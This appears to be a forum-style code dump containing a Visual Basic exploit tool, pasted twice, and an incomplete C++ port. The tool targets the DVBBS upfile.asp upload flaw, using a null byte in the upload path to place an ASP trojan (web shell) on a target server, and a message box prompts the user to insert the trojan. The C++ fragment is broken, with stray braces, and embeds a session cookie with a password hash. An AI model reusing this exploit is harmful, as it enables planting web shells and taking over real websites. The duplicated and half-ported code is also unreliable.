Option Explicit
Dim info1 As String
Dim info2 As String
Dim length As Integer
Private Sub Command1_Click()
If Me.Height = 5010 Then
Me.Height = 7635
End If
If Text5.Text = "" Then
MsgBox "看你急的,连ASP木马也没放进去。还不快放个进去!", vbExclamation + vbOKOnly, "友情提示:)"
End If
info2 = "" '====================这里的变量如果不清空的话,后面测试数据长度的地方会出错=======================
Winsock1.Close
Winsock1.RemoteHost = Text1.Text
Winsock1.RemotePort = Text2.Text
Winsock1.Connect
End Sub
Private Sub Command2_Click()
End
End Sub
Private Sub Form_Load()
Me.Height = 5010
Me.Width = 4410
Text1.Text = "www.qfaq.com"
Text2.Text = "80"
Text3.Text = "/dvbbs/upfile.asp"
Text4.Text = "uploadface/mm.asp"
Text5.Text = ""
Text6.Text = ""
Text7.Text = "/dvbbs/reg_upload.asp"
End Sub
Private Sub Winsock1_Connect()
'===================info1和info2两个变量就是抓包抓到的2条记录==================
On Error Resume Next
info2 = info2 + "—————————–7d411939702a4" + vbCrLf
info2 = info2 + "Content-Disposition: form-data; name=" + Chr(34) + "filepath" + Chr(34) + vbCrLf
info2 = info2 + vbCrLf
info2 = info2 + Text4.Text + Chr(0) + vbCrLf
info2 = info2 + "—————————–7d411939702a4" + vbCrLf
info2 = info2 + "Content-Disposition: form-data; name=" + Chr(34) + "act" + Chr(34) + vbCrLf
info2 = info2 + vbCrLf
info2 = info2 + "upload" + vbCrLf
info2 = info2 + "—————————–7d411939702a4" + vbCrLf
'==================这里的chr(34)表示双引号=======================================
info2 = info2 + "Content-Disposition: form-data; name=" + Chr(34) + "file1" + Chr(34) + "; filename=" + Chr(34) + "C:\bjsdfzlt.gif" + Chr(34) + vbCrLf
info2 = info2 + "Content-Type: text/plain" + vbCrLf
info2 = info2 + vbCrLf
info2 = info2 + Text5.Text + vbCrLf
info2 = info2 + vbCrLf
info2 = info2 + "—————————–7d411939702a4" + vbCrLf
info2 = info2 + "Content-Disposition: form-data; name=" + Chr(34) + "fname" + Chr(34) + vbCrLf
'info2 = info2 + Text5.Text + vbCrLf
info2 = info2 + vbCrLf
info2 = info2 + "C:\bjsdfzlt.asp" + vbCrLf
info2 = info2 + "—————————–7d411939702a4" + vbCrLf
info2 = info2 + "Content-Disposition: form-data; name=" + Chr(34) + "Submit" + Chr(34) + vbCrLf
info2 = info2 + vbCrLf
info2 = info2 + "上传" + vbCrLf
info2 = info2 + "—————————–7d411939702a4–" + vbCrLf
length = LenB(StrConv(info2, vbFromUnicode)) '==================这里控制数据的长度====================
info1 = "POST" + " " + Text3.Text + " " + "HTTP/1.1" + vbCrLf
info1 = info1 + "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*" + vbCrLf
info1 = info1 + "Referer: http://" + Text1.Text + Text7.Text + vbCrLf
info1 = info1 + "Accept-Language: zh-cn" + vbCrLf
info1 = info1 + "Content-Type: multipart/form-data; boundary=—————————7d411939702a4" + vbCrLf
info1 = info1 + "Accept-Encoding: gzip, deflate" + vbCrLf
info1 = info1 + "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" + vbCrLf
info1 = info1 + "Host: " + Text1.Text + vbCrLf
info1 = info1 + "Content-Length:" + CStr(length) + vbCrLf
info1 = info1 + "Connection: Keep-Alive" + vbCrLf
info1 = info1 + "Cache-Control: no-cache" + vbCrLf
info1 = info1 + "Cookie: iscookies=0" + vbCrLf
info1 = info1 + vbCrLf
info1 = info1 + info2 + vbCrLf
Winsock1.SendData info1 '提交数据,相当于nc.exe提交
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim strvalue As String
Winsock1.GetData strvalue
Text6.Text = strvalue + vbCrLf
End Sub
Dim info1 As String
Dim info2 As String
Dim length As Integer
Private Sub Command1_Click()
If Me.Height = 5010 Then
Me.Height = 7635
End If
If Text5.Text = "" Then
MsgBox "看你急的,连ASP木马也没放进去。还不快放个进去!", vbExclamation + vbOKOnly, "友情提示:)"
End If
info2 = "" '====================这里的变量如果不清空的话,后面测试数据长度的地方会出错=======================
Winsock1.Close
Winsock1.RemoteHost = Text1.Text
Winsock1.RemotePort = Text2.Text
Winsock1.Connect
End Sub
Private Sub Command2_Click()
End
End Sub
Private Sub Form_Load()
Me.Height = 5010
Me.Width = 4410
Text1.Text = "www.qfaq.com"
Text2.Text = "80"
Text3.Text = "/dvbbs/upfile.asp"
Text4.Text = "uploadface/mm.asp"
Text5.Text = ""
Text6.Text = ""
Text7.Text = "/dvbbs/reg_upload.asp"
End Sub
Private Sub Winsock1_Connect()
'===================info1和info2两个变量就是抓包抓到的2条记录==================
On Error Resume Next
info2 = info2 + "—————————–7d411939702a4" + vbCrLf
info2 = info2 + "Content-Disposition: form-data; name=" + Chr(34) + "filepath" + Chr(34) + vbCrLf
info2 = info2 + vbCrLf
info2 = info2 + Text4.Text + Chr(0) + vbCrLf
info2 = info2 + "—————————–7d411939702a4" + vbCrLf
info2 = info2 + "Content-Disposition: form-data; name=" + Chr(34) + "act" + Chr(34) + vbCrLf
info2 = info2 + vbCrLf
info2 = info2 + "upload" + vbCrLf
info2 = info2 + "—————————–7d411939702a4" + vbCrLf
'==================这里的chr(34)表示双引号=======================================
info2 = info2 + "Content-Disposition: form-data; name=" + Chr(34) + "file1" + Chr(34) + "; filename=" + Chr(34) + "C:\bjsdfzlt.gif" + Chr(34) + vbCrLf
info2 = info2 + "Content-Type: text/plain" + vbCrLf
info2 = info2 + vbCrLf
info2 = info2 + Text5.Text + vbCrLf
info2 = info2 + vbCrLf
info2 = info2 + "—————————–7d411939702a4" + vbCrLf
info2 = info2 + "Content-Disposition: form-data; name=" + Chr(34) + "fname" + Chr(34) + vbCrLf
'info2 = info2 + Text5.Text + vbCrLf
info2 = info2 + vbCrLf
info2 = info2 + "C:\bjsdfzlt.asp" + vbCrLf
info2 = info2 + "—————————–7d411939702a4" + vbCrLf
info2 = info2 + "Content-Disposition: form-data; name=" + Chr(34) + "Submit" + Chr(34) + vbCrLf
info2 = info2 + vbCrLf
info2 = info2 + "上传" + vbCrLf
info2 = info2 + "—————————–7d411939702a4–" + vbCrLf
length = LenB(StrConv(info2, vbFromUnicode)) '==================这里控制数据的长度====================
info1 = "POST" + " " + Text3.Text + " " + "HTTP/1.1" + vbCrLf
info1 = info1 + "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*" + vbCrLf
info1 = info1 + "Referer: http://" + Text1.Text + Text7.Text + vbCrLf
info1 = info1 + "Accept-Language: zh-cn" + vbCrLf
info1 = info1 + "Content-Type: multipart/form-data; boundary=—————————7d411939702a4" + vbCrLf
info1 = info1 + "Accept-Encoding: gzip, deflate" + vbCrLf
info1 = info1 + "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" + vbCrLf
info1 = info1 + "Host: " + Text1.Text + vbCrLf
info1 = info1 + "Content-Length:" + CStr(length) + vbCrLf
info1 = info1 + "Connection: Keep-Alive" + vbCrLf
info1 = info1 + "Cache-Control: no-cache" + vbCrLf
info1 = info1 + "Cookie: iscookies=0" + vbCrLf
info1 = info1 + vbCrLf
info1 = info1 + info2 + vbCrLf
Winsock1.SendData info1 '提交数据,相当于nc.exe提交
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim strvalue As String
Winsock1.GetData strvalue
Text6.Text = strvalue + vbCrLf
End Sub
std::string info2;
int length;void Command1_Click()
{
CRect rc;
GetClientRect(&rc);
if (rc.Height == 5010)
{
rc.Height = 7635;
} char szText[129];
GetDlgItem(ID_TEXT5)->GetWindowText(szText, sizeof(szText));
if (strcmp(szText, "") == 0)
{
::MessageBox(NULL, "看你急的,连ASP木马也没放进去。还不快放个进去!", "友情提示", MB_OK);
}
}
if (rc.Height == 5010)
{
rc.Height = 7635;
MoveWindow(rc);
}
info2 = "-----------------------------7d91a52f1609f2" + CRLF;
info2 = info2 + "Content-Disposition: form-data; name=" + SYM + "filepath" + SYM + CRLF;
info2 = info2 + CRLF;
info2 = info2 + savePath;
info2.insert(info2.end(),0); std::string info3 = info2 + CRLF;
info3 = info3 + "-----------------------------7d91a52f1609f2" + CRLF;
info3 = info3 + "Content-Disposition: form-data; name=" + SYM + "act" + SYM + CRLF;
info3 = info3 + CRLF;
info3 = info3 + "upload" + CRLF; info3 = info3 + "-----------------------------7d91a52f1609f2" + CRLF;
info3 = info3 + "Content-Disposition: form-data; name=" + SYM + "fname" + SYM + CRLF;
info3 = info3 + CRLF;
info3 = info3 + "C:\\1.jpg" + CRLF; info3 = info3 + "-----------------------------7d91a52f1609f2" + CRLF;
info3 = info3 + "Content-Disposition: form-data; name=" + SYM + "file1" + SYM + "; filename=" + SYM + "C:\\1.jpg" + SYM + CRLF;
info3 = info3 + "Content-Type: application/octet-stream" + CRLF;
info3 += CRLF;
info3 = info3 + data + CRLF;
info3 = info3 + "-----------------------------7d91a52f1609f2" + CRLF;
info3 = info3 + "Content-Disposition: form-data; name=" + SYM + "Submit" + SYM + CRLF;
info3 = info3 + CRLF;
info3 = info3 + "上传" + CRLF;
info3 = info3 + "-----------------------------7d91a52f1609f2--" + CRLF; std::string info1 = "POST " + url + " HTTP/1.1" + CRLF;
info1 = info1 + "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*" + CRLF;
info1 = info1 + "Referer: " + fullUrl + CRLF;
info1 = info1 + "Accept-Language: zh-cn" + CRLF;
info1 = info1 + "Content-Type: multipart/form-data; boundary=---------------------------7d91a52f1609f2" + CRLF;
info1 = info1 + "UA-CPU: x86" + CRLF;
info1 = info1 + "Accept-Encoding: gzip, deflate" + CRLF;
info1 = info1 + "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" + CRLF;
info1 = info1 + "Host: " + hostName +":" + port + CRLF;
// char buf[32] = {0};
// std::string cl = itoa(info2.length(),buf,10);
info1 = info1 + "Content-Length: 628" + CRLF; // + cl
info1 = info1 + "Connection: Keep-Alive" + CRLF;
info1 = info1 + "Cache-Control: no-cache" + CRLF;
info1 = info1 + "Cookie: ASPSESSIONIDAQSTTDTQ=DKKNKKJDBMADAIJKBBIHAEAE; iscookies=0; BoardList=BoardID=Show; upNum=0; aspsky=userhidden=2&password=ff04b8941f45a729&userid=824&userclass=%B4%E5%C3%F1&username=zhicheng&usercookies=3" + CRLF;
info1 = info1 + CRLF; info1 = info1 + info3 + CRLF;
你需要自己写个类